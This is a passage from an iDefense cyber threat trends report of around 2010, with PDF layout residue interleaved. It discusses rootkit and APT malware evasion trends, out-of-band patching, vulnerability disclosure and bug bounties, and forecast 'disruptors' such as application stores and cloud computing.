iDefense predicts that at least one malicious application in the Android store will receive 50,000 downloads.” 6 Disruptors malware hook the OS at the lowest possible level to hide files and system modifications from users and security software. To effectively create a rootkit that operates on these systems, malware authors are likely to use three possible tactics. First, they may sign their malware using legitimate code-signing certificates. In July 2010, security researchers discovered the Stuxnet worm, which used this tactic after its creators stole code-signing certificates that belonged to Realtek Semiconductor and JMicron. The disadvantage to this tactic for the malware author is that once administrators detect the rootkit, the certificate authority responsible for the code-signing certificate may revoke the certificate, effectively disabling the driver. A second tactic that malware authors may use is disabling Windows’ ability to prevent unsigned drivers from loading into the kernel. One malware family, TDL3, has already implemented this technique to properly infect 64-bit systems. The rootkit overwrites the system’s master boot record (MBR) to take control of the system before the protection is in place, disabling KPP so the system will load the rootkit’s driver once the system finishes booting. The third tactic would be to only install user-mode rootkits that operate above the kernel. User-mode rootkits are still capable of hiding files and system modifications from the user, but they are much easier for rootkit-detection tools to find because those tools typically work at a lower level in the OS. In 2011, it is likely that additional rootkits will begin targeting 64-bit versions of Windows by changing their code to match the tactics listed above. If attackers do not adapt, they will quickly find that their code does not operate on a large percent of the systems they want to infect. 1.1.4 Low-Distribution (APT) Malware Hiding in Plain Sight Most modern malware uses a technique named “packing” to obfuscate the functionality of their programs to simultaneously evade detection by AV programs and thwart the efforts of malware analysts attempting to discover that functionality. While packing is often effective, malware uses some packers so commonly that AV engines detect the packer code itself rather than the malicious code it hides. AV programs also use heuristics to detect suspicious activity on a system. For instance, when a program accesses the memory of other programs on a system and creates remote threads within them, an AV program may flag the program as malicious. Malware that attackers intend to distribute widely, by sending spam or stealing credentials for online banking websites, must contain a packing algorithm to hide its behavior. Without a packing algorithm, AV programs would quickly write signatures that detect and remove the malware. On the other hand, AV programs are not likely to detect malware very quickly if attackers distribute it in very small numbers, such as that used in targeted attacks often characterized as APTs. The lack of detection is not a result of a 7 Disruptors packing algorithm, instead analysts who write signatures for their engines have never seen the malware before. Attackers who create APT malware often use no packing techniques and execute their malware using methods that make them appear to be legitimate programs. One example is the DNSCalc5 malware on which iDefense reported in May 2010 related to targeted attacks. Malware in this family uses functionality that is not heavily obfuscated. The malware uses filenames such as “windfvsrv.exe” and installs itself as a Windows service. The program acts as a simple backdoor through which the attacker can execute commands; the program does not conduct any detectably malicious activities. By not using techniques that malware typically uses, these programs can hide in plain sight and evade detection for weeks or months. 1.2 Vulnerability Trends 1.2.1 Increase in Out-of-Band Patches from Notable Software Vendors In its 2010 Trends Report, iDefense discussed the burden of patch alignment stemming from the trend of software vendors that purposely chose the second Tuesday of the month to release security updates for their scheduled patch release, which coincides with Microsoft’s monthly Security Bulletin release. Vendors did this in an effort to leverage existing processes and resources. This year, iDefense saw a trend of an unusual number of out-of-band (OOB) patch releases from three of the now five vendors (Microsoft, Oracle, Cisco, Adobe and SAP) that follow a scheduled patch release for some or all of their products. On paper, this indicates that vendors are quick to respond to vulnerabilities discovered in their products; however, data will show that the discovery of a previously unknown vulnerability released publicly for which a patch does not exist, otherwise known as a zero-day vulnerability, is what is forcing vendors to release these OOB patches. This signifies the common occurrence of zero-day vulnerabilities in a broader range of products, which has not been nearly as prevalent until this year. 2004-2009 2010 2004 2006 2007 2008 2009 In 2010, Microsoft has released four OOB security bulletins, which almost matches the six OOB security bulletins that Microsoft released in a 5-year span from 2004 to 2009 (see Exhibit 1-1). All but one of the four OOB Security Bulletins began as either exploits or malware that malicious actors 5 DNS-Calc APT Trojan Uses DNS Queries to Generate C&C Port Number (ID# 595094, May 13, 2010). “Attackers who create APT malware often use no packing techniques and execute their malware using methods that make them appear to be legitimate programs.” Exhibit 1-1: Microsoft OOB Patches Released in 2010 Compared to Patches Released between 2004 and 2009 8 Disruptors used in targeted attacks that could result in arbitrary code execution with the privileges of the current user.6 The one exception was the last OOB Security Bulletin that Microsoft released to address an information disclosure vulnerability in ASP.NET, which security researchers Juliano Rizzo and Thai Duong publicly disclosed at the Ekoparty security conference in Buenos Aires. At the end of their presentation, they threw three USB flash drives containing documentation of the vulnerability and a working exploit into the audience.7 Oracle uses quarterly patching cycles through releases of Critical Patch Updates (CPUs). Oracle has historically released CPUs on the Tuesday closest to the 15th day of the quarterly month. In 2010, Oracle’s OOB security advisories came in the form of out-of-cycle security alerts. Oracle has released two out-of-cycle security alerts to address a trivially exploited vulnerability affecting Oracle WebLogic Server; a malicious actor could use this vulnerability to gain unauthorized access to a vulnerable host to execute arbitrary commands without any user interaction.8 The other out-of-cycle security alert was in response to publicity due to the public disclosure of two vulnerabilities in Sun Java; with these vulnerabilities, malicious actors could execute arbitrary code on a victim’s system by social engineering the victim into viewing a malicious website.9 Prior to 2010, the last out-of-cycle security alert was in July 2008 for a buffer overflow vulnerability in xine-lib, which affected multiple vendors.10 Cisco uses a semiannual scheduled patching cycle that occurs on the fourth Wednesday of March and September and only applies to the Cisco IOS, which is Cisco’s operating system that powers Cisco’s vast array of routers and network switches. Cisco released three IOS out-of-cycle security bulletins in 2009, even though there were no reports indicating that malicious users were exploiting the fixed vulnerabilities. On Jan. 20, 2010, Cisco released a single security advisory outside its semiannual scheduled release to fix a memory exhaustion vulnerability in IOS that could result in a denial of service (DoS) condition; however, Cisco would likely argue that this vulnerability does not classify as an OOB security release since the vulnerability did not fit any of Cisco’s conditions for making an out-of-cycle release.11 A month after Adobe’s first scheduled quarterly patch release for Acrobat and Reader on June 9, 2009, Adobe released its first out-of-cycle security bulletin during late July 2009, to address a PDF vulnerability that attackers were exploiting in the wild.12 Much like the vulnerabilities that Microsoft fixed OOB, the four vulnerabilities that Adobe fixed OOB started as either exploits or malware that malicious actors used in targeted attacks, with the exception 6 Microsoft Internet Explorer Invalid Pointer Reference Code Execution Vulnerability (ID# 560358, Jan. 14, 2010); Microsoft Internet Explorer Invalid Pointer Reference Memory Corruption Vulnerability (ID# 578152, March 9, 2010); Microsoft Windows Shortcut .lnk Design Error Vulnerability (ID# 601740, July 16 2010). 7 Microsoft ASP.NET Ciphertext Padding Information Disclosure Vulnerability (ID# 617272, Sept. 18, 2010). 8 Oracle Weblogic Server Node Manager Command Execution Vulnerability (ID# 563044, Jan. 25, 2010). 9 Maurice, Eric. “Security Alert for CVE-2010-0886 and CVE-2010-0887 Released.” April 15, 2010. Oracle Corp. http://blogs. oracle.com/security/2010/04/security_alert_for_cve-2010-08.html; Oracle Java SE and Java for Business Desktop Java Deployment Toolkit Unspecified Vulnerability (ID# 595164, May 18, 2010); Oracle Java SE and Java for Business Desktop Java New Java Plug-in Unspecified Vulnerability (ID# 595165, May 18, 2010). 10 Multiple Vendor xine-lib 1.1.10.1 sdpplin_parse() Function Buffer Overflow Vulnerability (ID# 468070, March 11, 2008). 11 “Products & Services Security Vulnerability Policy - Cisco Systems.” Sept. 8, 2010. Cisco Systems Inc. http://www.cisco.com/en/ US/products/products_security_vulnerability_policy.html. 12 Adobe Flash ActionScript Parsing Memory Corruption Vulnerability (ID# 492133, July 20, 2009). 9 Disruptors of one vulnerability;13 the exception was an integer overflow vulnerability that emerged from the Black Hat 2010 conference in Las Vegas, which could allow an attacker to execute arbitrary code on a targeted host.14 1.2.2 Changing Vulnerability Disclosure Landscape The vulnerability disclosure landscape dramatically changed over the course of the year. The emergence of multiple vendor bounty programs, increase in standard payment for vulnerabilities, and the creation of coordinated vulnerability disclosure reenergized relationships between security researchers and vendors. Early this year, Google announced it would offer researchers cash rewards for bugs and vulnerabilities found in its browser, Chrome. This program, similar to Mozilla’s Firefox bounty program, received criticism because security researchers felt the cash reward was too small. Security researchers could sell their work to brokers for a much larger compensation. Mid-year, Mozilla announced it would pay researchers up to $3,000 US for critical vulnerabilities found in its browser, Firefox. Google quickly responded by offering security researchers up to $3,133.73 US. Thus, a bidding war began for researchers’ efforts, raising the industry’s standard payment for vulnerabilities. The price bump signified a change in the overall posture by vendors for vulnerability research. Vendors are embracing the overall change in the economics of vulnerability research. Vulnerabilities and bugs are no longer free. Rather than rewarding researchers with T-shirts and recognition, vendors are giving security researchers real cash incentives for helping make vendors’ products more secure. This once one-way street has become a two-way street for security researchers and vendors. The cash incentive has proven very effective in the case of Google. The number of bugs and vulnerabilities that people have submitted to Google has dramatically increased since the bounty prize increase. The success of Chrome’s bounty program spawned Google’s latest bounty program, which it designed to fortify Google’s array of Web applications. Microsoft outlined a new form of responsible disclosure. Microsoft coined the new disclosure type “coordinated vulnerability disclosure” or CVD. CVD follows the core principles of responsible disclosure but further defines coordination with three basic philosophies: vendors and discoverers need to work closely toward a resolution; vendors should make extensive efforts to respond in a timely manner; and only in the event of active attacks should vendors use public disclosure, which should focus on mitigation and workarounds.15 Microsoft created CVD in response to two opposing views on the disclosure of vulnerabilities: responsible disclosure and full disclosure. Responsible disclosure gives vendors a chance to patch vulnerabilities before the public knows about them; however, this type of disclosure can result in vendors 13 Adobe Reader and Acrobat 9.3 LibTiff Integer Overflow Vulnerability (ID# 572570, Feb. 16, 2010); Adobe Flash Player 10.0.45.2, Reader 9.3.2 and Acrobat 9.3.2 Remote Code Execution Vulnerability (ID# 595312, June 5, 2010); Adobe Acrobat and Reader Cooltype.dll Memory Corruption Vulnerability (ID# 614986, Sept. 18, 2010). 14 Adobe Acrobat and Reader CoolType.dll True Type Font Integer Overflow Vulnerability (ID# 607161, Aug. 4, 2010). 15 Thomlinson, Matt. “Announcing Coordinated Vulnerability Disclosure.” July 22, 2010. Microsoft. http://blogs.technet.com/b/msrc/ archive/2010/07/22/announcing-coordinated-vulnerability-disclosure.aspx. “Vendors are embracing the overall change in the economics of vulnerability research. Vulnerabilities and bugs are no longer free.” 10 Disruptors delaying the fix of vulnerabilities, which may allow a miscreant to discover such vulnerabilities and use them in targeted attacks. Full disclosure provides malicious users with details to use against unpatched software but could also enable immediate preventive action, and it pressures vendors to quickly develop a fix for such vulnerabilities. Tavis Ormandy, a security researcher for The Google Security Team, released details for a critical vulnerability in Microsoft Windows on Full Disclosure on June 10.16 Microsoft acknowledged the vulnerability the same day and reiterated that it advocates responsible disclosure and encourages security researchers to work with it on providing mitigation for an issue and coordinating the release of details.17 The Google Security Team responded in its blog with Google’s stance on disclosure policies. The blog discussed the differences, benefits and shortcomings of the two disclosure models (responsible disclosure and full disclosure). Microsoft’s efforts to redefine responsible disclosure into coordinated vulnerability disclosure are the software giant’s way of realigning itself with the evolving vulnerability disclosure landscape. Vendors such as Google and Mozilla realize that vulnerability research is no longer about recognition but rather has evolved into a source of income for many professional security researchers. This year marked many changes in the security field, but none of those changes were as dramatic as the change between vendor and security researcher relationships. 1.2.3 Vendor Bounty Programs 1.2.3.1 Mozilla Security Bug Bounty Program Mozilla initiated a bug bounty program in August 2004,18 in which it compensated security researchers $500 US and a T-shirt19 to report critical security bugs in both Thunderbird and Firefox. In July of this year, the bounty increased to $3,000 US. The increase was due the evolving cyber landscape. A movement called “No more free bugs” was a contributing factor to the change; this movement supported the idea that security researchers believed that vendors should compensate them for newly discovered security vulnerabilities. Security researchers Charlie Miller, Dino Dai Zovi and Alex Sotirov advocated these sentiments in 2009 during CanSecWest. Mozilla’s security engineering director, Lucas Adamski, acknowledged the transitioning cyber landscape and believed that increasing the compensation would improve relations between security researchers and Mozilla. Additionally, this would prompt researchers to responsibly disclose the vulnerabilities to Mozilla and improve the safety of its products. The higher compensation by Mozilla has the potential to drive more security 16 Microsoft Windows Help and Support Center Malformed Escape Sequence Vulnerability (ID# 595633, June 10, 2010). 17 Reavey, Mike. “Windows Help Vulnerability Disclosure.” June 10, 2010. Microsoft. http://blogs.technet.com/b/msrc/ archive/2010/06/10/windows-help-vulnerability-disclosure.aspx. 18 Staff. “MOZILLA FOUNDATION ANNOUNCES SECURITY BUG BOUNTY PROGRAM.” Aug. 2, 2004. Mozilla Foundation. http:// www-archive.mozilla.org/press/mozilla-2004-08-02.html. 19 Staff. “Mozilla Security Bug Bounty Program.” Aug. 11, 2010. Mozilla Foundation. http://www.mozilla.org/security/bug-bounty.html. “Full disclosure provides malicious users with details to use against unpatched software but could also enable immediate preventive action, and it pressures vendors to quickly develop a fix for such vulnerabilities.” 11 Disruptors researchers to present high-quality bugs; however, the program has been in place since July of this year and it is too soon to tell the effectiveness of the program. Since the increase, the number of vulnerabilities has increased slightly, but one could attribute this to the increase in the number of existing vulnerabilities over the years. The number of Mozilla vulnerabilities year over year has increased on average about 11 percent. 1.2.3.2 Google Security Bug Bounty Program Google presented a similar program to reward security researchers for their work. Payment for general vulnerabilities was $500 US and for severe vulnerabilities, $1,337 US. Google considered severe bugs “leet,” which is hacker slang for elite. The program received scrutiny from security researchers stating that the amount was too low. Mozilla also offered $500 US for bugs— the same amount that it provided in 2004. The first 6 months of Google’s bug bounty program yielded 21 bugs. Google considered one the 21 bugs to be “leet.” Soon after Mozilla increased its bounty to $3,000 US, Google reacted by increasing its maximum bounty to $3,133.73 US. This amount is the numeric translation of “elite.” The increase in the bounty generated greater interest and resulted in the disclosure of more vulnerabilities in a shorter period of time than previous bounty amounts did.20 The addition of the sandbox feature in Chrome makes it difficult for security researchers to discover high-severity vulnerabilities.21 Chris Evans of Google Chrome Security stated that the sandbox feature in Chrome requires security researchers to spend more time discovering bugs. Google justifies the high bounty by the amount of work that goes into researching those bugs. The limited number of security researchers and the amount of time that goes into discovering bugs requires researchers to focus on one particular browser. This situation can drive researchers to research bugs in the browser that pays out the most. On Nov. 1, 2010, Google announced a new, experimental bounty program that extends to Google Web properties.22 Such Google Web properties include .google.com, .youtube.com, .blogger.com and .orkut.com.23 The same rules and bug bounty rewards apply to newly discovered bugs. Google plans to extend the program to its client-based applications in the near future, which include Android, Picasa and Google Desktop.24 Even though the program started on the wrong foot, Google’s bounty program has reported more vulnerabilities since its bounty increase. Since the increase, the amount of $1,337 US bounties has quadrupled, but Google has yet to pay out the “elite” amount. The increase in disclosures is a clear indicator that more researchers are dedicating more time to find higher-quality bugs 20 “Security Hall of Fame.” Sept 9, 2010. Google Inc. http://dev.chromium.org/Home/chromium-security/hall-of-fame; Evans, Chris. “Celebrating Six Months of Chromium Security Rewards.” July 20, 2010. Google Inc. http://google-chrome-browser.com/celebrating- six-months-chromium-security-rewards. 21 Ibid. 22 “Rewarding web application security research.” Nov. 1, 2010. Google Inc. http://googleonlinesecurity.blogspot.com/2010/11/ rewarding-web-application-security.html. 23 Ibid. 24 Ibid. 12 Disruptors in Chrome. With the extension of the experimental bug bounty program to Web-based applications and the hard learn lesson from the beginning of the program, Google can expect a similar turnaround of high-quality bugs. 13 Disruptors 2 Disruptors 2.1 Introduction In 1997, Clayton Christensen published his book “The Innovator’s Dilemma,”25 in which he postulated a theory about disruptive technology. Essentially, innovations can emerge that fundamentally change how an industry services its customer base. Some businesses fail because leadership does not recognize the change fast enough to compete. These business catalysts are not enhancements or improvements to existing ideas, but rather are radical and innovative solutions that sometimes, at first glance, appear only to service a niche audience. Over time, use of these innovations builds momentum and eventually dominates the space. The heretofore best practice solutions wither and die while the innovation takes over. One example that Christensen uses to prove his point is the size reduction of computer disk drives.26 Hard drives have gone through repeated design innovations from the early 1960s to the early 1990s. The disruptive technology that caused some businesses to fail came with each reduction. For example, when the 5.25- inch floppy drives started to appear on the personal computer market, the dominant floppy drive manufacturers were producing 8-inch floppy drives for minicomputers. According to the Christensen, the 8-inch producers did not anticipate the demand for the 5.25-inch floppies until it was too late and businesses failed. In 2007, iDefense introduced the concept of the cyber security disruptor: new ideas, technologies, government policies or events (cyber security catalysts) in the next 5-10 years that could fundamentally change how organizations protect their cyber assets.27 Since 2007, iDefense analysts have identified disruptive catalysts worthy of the disruptor definition. Each of these catalysts represents a technology, law or forecasted event that will completely change the security community at some level. This type of change is at the heart of the disruptor. Change is the reason that iDefense spends so much time trying to describe the concept and identify the key disruptors. The idea is to give the security community leadership a chance to prepare for a completely different way of doing business. Consider the timeline in Exhibit 2-1. The far right outlines predictions 10 years into the future. This is the event horizon when iDefense analysts begin to track the innovations that will affect the future enterprise. At the far left is the past: 2005 and prior. This is the area where current security best practices reside, where technology leaders have agreed that certain solutions work well to mitigate specific security problems. In the case of disruptors, these mitigation options have become industry-accepted solutions. Technologies such as firewalls, anti-virus engines and IDS reside here. 25 Christensen, Clayton M. “The Innovator’s Dilemma.” Harper, 1997. 26 Ibid, pp. 15-19. 27 Cyber Disruptors: the Next Five Years (ID# 465310, Nov 5, 2007). “Since 2007, iDefense analysts have identified disruptive catalysts worthy of the disruptor definition. Each of these catalysts represents a technology, law or forecasted event that will completely change the security community at some level.” 14 Disruptors 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 Today Early Adopters Predictions Distruptors Best Practices 1 7 4 4 7 5 3 8 1 6 2 1 1 Concept: Developing Nations’ Use of the Internet Impact: These nations have seen increased volumes of malicious cyber activity. Enterprise Change: There will be a shift in the center of gravity away from commercial entities and toward governments in terms of budget and compliance laws. 2 Concept: Massively Multiplayer Online Environments (MMOs) and the Metaverse Impact: This is a new type of Internet interface. Enterprise Change: Robust solutions around identity management 3 Concept: SCADA Attacks Impact: As SCADA systems become more and more connected to the Internet, they become more vulnerable to cyber attacks. Enterprise Change: Traditional security teams, not facility teams, will manage the SCADA security infrastructure. 4 4 Concept: Mobile Platforms Impact: Powerful untethered computing devices become ubiquitous. Enterprise Change: Robust security suites dedicated to protecting the platform 5 Concept: Political and Strategic Hacking (Advanced Persistent Threat) Impact: Intellectual property is seriously at risk. Enterprise Change: Data loss prevention tools become mainstream. 6 Concept: Cyber Terrorism Impact: The first death via a cyber threat alone will cause all organizations to rethink their security practices. Enterprise Change: Extreme compliance laws and privacy erosion 7 7 Concept: Cloud Computing Impact: As corporations are moving toward the use of cloud computing, increasingly, more corporate resources are not directly controlling the enterprise. Enterprise Change: Development of robust oversight groups 8 Concept: Application Stores Impact: Application stores are trusted sources for software. Enterprise Change: The importance of anti-virus technology will diminish. In the middle of the timeline is today: 2010. This is the precipice where security leaders make critical technological and budgetary decisions about how best to protect their enterprises. This is also where iDefense analysts attempt to predict what the next year will bring to help its customers, who are some of the largest enterprise leaders in the world, make informed decisions. In the near past is 2008, where brave technologists have deployed technologies early because they recognize the great potential for disruption. As such, they are willing to weather the bumps and bruises normally associated with early deployment of a technology that is not quite ready for wide distribution. The numbered circles on the timeline show the iDefense estimates on how far out it considers each of these disruptors to be. The placement of the circles is based on iDefense research and observations made by the security community. As disruptors get closer to the present, they begin a transformation: within a year of the present, iDefense often identifies them as predictions for the following year. As each disruptor moves farther into the past, they most often take the form of security solutions. At this point, iDefense analysts consider them best practices and no longer disruptors. It is worth noting that for any particular time, iDefense analysts will move each of these disruptors up and down the timeline depending on a number Exhibit 2-1: Cyber Security Disruptor Timeline 15 Disruptors of factors that affect how quickly the security community reacts to each disruptor. For example, two of the disruptors–massively multiplayer online environments (MMOs) and cyber terrorism–exist at the far end of the event horizon of 8-10 years. Others, such as cloud computing, developing nations and mobile platforms, already have early adopters but are probably 2-5 years from mainstream adoption. The remaining disruptors, including application stores, SCADA attacks, IPv6/DNSSEC/IPSEC deployment, and political and strategic hacking, have no real early adopters but are probably also 2-5 years from mainstream adoption. In the following sections, iDefense updates the status of the original disruptors and provides additional depth on two: application stores and cloud computing. These sections are meant to highlight disruptors that iDefense believes require a closer look. For instance, iDefense malware analysts believe strongly that application stores will fundamentally change the way that organizations secure themselves from software-based threats. Likewise, many iDefense vulnerability specialists believe that a vulnerable cloud will fundamentally change the perception of the cloud as a security solution. These discussions are less identifications of new disruptors than deeper looks at disruptors that iDefense has previously discussed. 2.2 Disruptor: Convergence of the “App Store” Model and Traditional Computing The “app store” distribution model has become the de facto standard method for users to install programs onto mobile devices such as smartphones. Apple’s App Store is the largest application store in the market with more than 250,000 available applications and more than 6.5 billion downloaded applications; however, many mobile vendors, including Google, RIM, HP/Palm, Nokia and Microsoft, have implemented their own platforms. Mobile devices with application stores have two security advantages over their traditional computing counterparts such as desktop and laptop PCs. First, only applications that developers have signed with a certificate provided by the app store proprietor can execute on the devices. The effect of this protection is that only applications created by known developers can run on the devices; if an application store proprietor discovers that a particular program is malicious, he or she can execute a “kill-switch” for the application by revoking the certificate. Second, app stores act as gateways between malware authors and the devices on which those authors want to run their malware. The proprietor of an app store can conduct reviews of programs before making them available to users, which prevents most malware from ever entering their platforms’ ecosystems. These protections are far from perfect, as attackers have already introduced malware into app stores and discovered ways to disable the signed-code requirement that prevents the execution of unsigned programs. Despite these problems, systems that use the application store model have a much more defensible architecture than traditional desktop operating systems. 28 Walters, Audrey. “Gartner Hype Cycle 2010: Cloud Computing at the Peak of Inflated Expectations.” Oct. 8, 2010. ReadWriteWeb. http://www.readwriteweb.com/archives/gartner_hype_cycle_2010_cloud_computing_at_the_pea.php. 29 Staff. “iPhone OS 4 Adds Much Needed Security Features.” April 8, 2010. Security Week. http://www.securityweek.com/content/ iphone-os-4-adds-much-needed-security-features. Cloud Computing Year: 2011 Concept: Outsourcing automation resources to third-party vendors at greatly reduced costs compared to the costs of performing those tasks in house. Impact: Adopting cloud computing services within an enterprise effectively moves critical infrastructure and intellectual property out of direct control by the enterprise. Conversely, having all data centrally located will likely provide increased incentive for attackers to compromise the cloud. Enterprise Change: As cloud computing becomes more popular, the teams that are tasked with monitoring these third- party vendors will grow and will become a dominant player in the security organization. Increased malicious scrutiny may prove the cloud to be less than ideal as a security solution. Early Adopters: Yes (2009) What has changed this year: According to Gartner, cloud computing has reached its peak of inflated expectations and is 2-5 years from mainstream adoption.4 Mobile Platforms Year: 2011 Concept: There has been a ubiquitous explosion of powerful computing devices on enterprise networks that both businesses and individuals use. As Walt Mossberg has said, the difference between a BlackBerry and a smartphone is that a BlackBerry is a cell phone that uses SMS trickery to allow Web browsing. Impact: Security features for these devices have not traditionally been strong. Enterprise Change: Organizations are struggling to develop policy for use and basic enterprise protection. Early Adopters: Yes (2008) What has changed this year: Apple made a play to be an enterprise smartphone vendor by offering security features that heretofore have only been available on the BlackBerry.5 In addition, Apple launched the very popular iPad in 2010. 16 Disruptors Many environments, including those of large enterprises, would benefit from using an OS that required that a trusted authority sign and vet every application. This whitelisting approach could be much more effective than the current solution driven by AV programs that seek out bad programs and remove them. On Oct. 18, 2010, Apple announced its plans to create a Mac App store, similar to the iOS App store, but for Mac OS X desktop applications.30 Adobe has also introduced the Adobe AIR Marketplace, an app store for programs that work through Adobe’s AIR platform.31 Intel’s AppUp is an app store that distributes applications specifically designed for Netbooks running Windows or Moblin.32 Many Linux distributions, such as Ubuntu and Fedora, already maintain software repositories that maintainers vet; users can access such repositories to install common programs. The app store model is already spreading to desktops, but the security benefit from this model is minor if the OS does not prevent untrusted programs from executing. Multiple technologies already exist that prevent untrusted programs from running on Windows. Windows 7 includes AppLocker, which allows administrators to configure policies that define applications that will and will not run on protected systems. AppLocker can prevent and allow the execution of programs based on their location on the system, their publisher and file hash. Third-party solutions, such as Bit9 Parity, perform a similar function by restricting executables that do not match characteristics defined by administrators. It is already possible to configure a Windows system that will not run any untrusted programs unless the attacker has exploited a vulnerability in the system. These whitelisting technologies have yet to gain widespread adoption because they are either too complex to maintain or users view them as overly restrictive. A solution to both of these problems may be to deploy the app store model for traditional operating systems. Smartphone users have already accepted this model for their mobile devices and may be open to using a similar system for their desktop and laptop computers. A user-friendly app store for distributing software that administrators deem acceptable but do not include in default builds is key to gaining user acceptance. The application store model would allow administrators to distribute updates for these programs and keep track of every application in their environments. The logistics around the app store model on Windows may prove to be complex. Microsoft has faced allegations of monopoly practices in the past; if Microsoft in fact acted as its own vetting authority for all programs running on Windows, courts around the world could rule against the company. Microsoft’s dominance in the OS market means that no other player can have a significant impact on worldwide security by implementing the app store model. To implement the app store model in an acceptable way that provides a more secure platform, Microsoft would have to do the following: 30 Mac App Store homepage. http://www.apple.com/mac/app-store/. Accessed on Nov. 5, 2010. 31 “Adobe Air Marketplace.” Accessed on Nov. 5, 2010. Adobe Systems Inc. http://www.adobe.com/cfusion/marketplace/index. cfm?event=marketplace.home&marketplaceid=1. 32 Intel AppUp. http://www.appup.com/applications/index. Accessed on Nov. 5, 2010. 33 “App Store Report – November 2010: How Many App Stores Is Too Many.” Accessed during November 2010. Wireless Industry Partnership. http://www.wipconnector.com/download/WIPAppStoreReport-Nov2010.pdf. Political and Strategic Hacking (APT) Year: 2012 Concept: Nation-state cyber operations target government and commercial organizations for the purpose of intelligence gathering. Impact: Intellectual property is seriously at risk. Enterprise Change: Data loss protection services will become mainstream. Early Adopters: Yes What has changed this year: While most government entities have known about this issue for more than a decade, many commercial entities became aware of the seriousness of the issue with Google’s very public outing of Operation Aurora. Application Stores Year: 2014 Concept: Attempts to provide application verification, such as code signing, are not new; however, “app stores,” made popular by the iPhone, are the accepted medium through which to install applications on many mobile devices. Application repositories will become the default method of choosing and installing applications for all automation needs to the home and the business, effectively creating application whitelisting services for the general population. Impact: The enterprise will have a trusted source to ensure that no malicious software is on an employee’s desktop or laptop. Enterprise Change: The importance of anti-virus technology will diminish. Early Adopters: No What has changed this year: There are more than 103 applications stores in existence today.9 17 Disruptors • Provide multiple versions of Windows—one that allows untrusted code to execute and one that does not. Enterprises and users who do not require the freedom to run any application they like should use the trusted-only version. It is important that the trusted-only version does not allow an attacker to easily subvert the requirements via either technical or non-technical (social engineering) means. • Create a process and the necessary technology that allows for the vetting and creation of app stores. Microsoft cannot be the sole maintainer of app store control; it must transfer its authority to other entities in the same way that trusted root certificates built into Windows must allow others to use secure socket layer (SSL) sessions on the Internet. It is unlikely that Adobe would provide its source code to Microsoft for review and distribution through a Microsoft app store, but Microsoft could allow code from an Adobe app store to execute on Windows through a chain of trust. The app store model could work differently for home and enterprise users. Home users may get their applications directly from app stores that passed Microsoft’s vetting process. Microsoft would add vetted app stores’ signing certificates to the list of approved-to-run programs on Windows (see Exhibit 2-2, left). If those app stores began distributing malware, Microsoft could prevent any programs signed by that store after a particular date from running. Additionally, the app store could also revoke the certificate of a particular application if it deemed that application malicious. In a corporate environment, the information technology (IT) department would act as a gateway between app stores and users (see Exhibit 2-2, right). The gateway would also allow the IT department to control which applications users install and to keep accurate data on precise software versions that systems in the network are running. Within the next 5-10 years, it is possible that Microsoft will enable the development of desktop app stores that create a more secure computing Windows environment. The primary hurdles preventing this model from succeeding on Windows are not technological but political, as this model restricts freedom in a way that software developers would almost certainly challenge. If Microsoft can implement this model in a way that is acceptable to third-party developers and users, it could have a major impact on computer security as a whole. 34 Schneier, Bruce. “The Stuxnet Worm.” September 2010. Schneier on Security. http://www.schneier.com/blog/archives/2010/09/ the_stuxnet_wor.html. SCADA Attacks Year: 2014 Concept: SCADA systems are man- machine interface devices that allow for the management and monitoring of critical infrastructure such as power and water. The designers of these systems initially designed them to be isolated; therefore, the designers of the protocols did not pay much attention to security. Recently, these systems have become more interconnected with public IP networks to provide easy access for engineers and maintenance crews. The security of these devices is generally not the responsibility of the enterprise security staff. That responsibility generally falls to enterprise infrastructure teams. Patches on SCADA systems require extensive application testing and generally have not been deployed with the same frequency as traditionally deployed software to the desktop. Impact: As SCADA systems become more and more connected to the Internet, they become more vulnerable to cyber attacks. Enterprise Change: Traditional enterprise security teams will eventually take over the management of the SCADA space within the enterprise and will demand the same performance from SCADA vendors that they are now getting from enterprise software vendors. Early Adopters: No What has changed this year: The Stuxnet worm emerged this year and successfully infiltrated SCADA systems in Iran, China and other countries.10 18 Disruptors Adobe Opera Mozilla Microsoft Home User 1 2 3 1 2 3 Adobe Opera Mozilla Corporate Users Corporate IT Department The development of desktop app stores would cause a fundamental shift in the way enterprises protect systems from compromise. AV software would no longer be a necessity, as the malware detection phase would move into the evaluation process before a program enters the app store. Additionally, attackers will need to refocus their efforts, not on creating malware that can evade detection on a host, but in two additional areas. First, attackers may attempt to circumvent the protections put in place by the OS in the same way users jailbreak their mobile devices to remove protections. Subverting security controls typically involves discovering a vulnerability in the OS that allows the attacker to execute his or her code within the context of an already- trusted application and then alter the OS to disable the protection for other applications. The second place attackers may focus their efforts may be in sneaking into app stores while masquerading as a legitimate program. By creating a program that has hidden features that the app store evaluators are unable to detect, attackers can create a traditional Trojan horse and sneak their program onto the system. 2.3 Disruptor: The Vulnerable Cloud Cloud computing is a new computing model that leverages the Internet to deliver applications, storage and other computing resources on demand. Using cloud computing, an organization is able to purchase exactly the amount of computing power that it needs at any given time, without the overhead of purchasing and managing its own physical servers. Although many often discuss server virtualization at the same time as cloud computing, server virtualization is an important topic on its own. By completely isolating multiple OS environments on a single server platform, 35 Page, Lewis. “US Cyber Command becomes fully operational.” November 2010. The Register. http://www.theregister. co.uk/2010/11/04/cyber_command_go/. 36 Broersma, Matthew. “Home Secretary Calls Cyber Warfare a Growing Threat.” Oct. 18 2010. eWeek Europe. http://www. eweekeurope.co.uk/news/home-secretary-calls-cyber-warfare-a-growing-threat-10689. Exhibit 2-2: Home Users Receive Code Directly from Application Stores (Left); Corporate IT Departments Control Application Store Access (Right) Developing Nations’ Use of the Internet Year: 2015 Concept: The developed world had to invent malicious cyber activity; the rest of the world can simply adopt it and refine it. This is not an argument that people from the developing world are more likely to become cyber criminals, though in some cultures, they are. Rather, the sheer number of people in meager circumstances who will soon have online access is great enough to cause a serious drain on the world’s cyber defense resources. Impact: Increased volume of malicious cyber activity Enterprise Change: Shift in the Center of Gravity away from commercial entities and toward governments in terms of volume of money spent on cyber defense and the quantity of compliance laws passed. Early Adopters: Yes (2009) What has changed this year: The US government created the US Cyber Command11 and the UK government classified cyber crime as a tier 1 threat, putting it in the same category as international terrorism.12 Other countries have moved in similar directions. 19 Disruptors organizations are able to cut down on the number of physical servers in datacenters, saving a potentially large sum on electricity and maintenance costs. Adoption of virtualization technology into the datacenter, which started about 5 years ago, has now reached a point where it is entrenched in many environments. Though implementing virtualization brings about a number of savings in management and maintenance, it also brings about several new and complex security considerations. Cloud computing has become an increasingly important part of the IT landscape and is making inroads into most corporations. 